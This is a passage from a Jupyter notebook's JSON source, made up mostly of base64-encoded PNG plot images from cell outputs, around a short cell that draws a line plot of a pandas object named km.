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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "km.plot(kind='line')" - ] - }, - { - "cell_type": "code", - "execution_count": 108, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 108, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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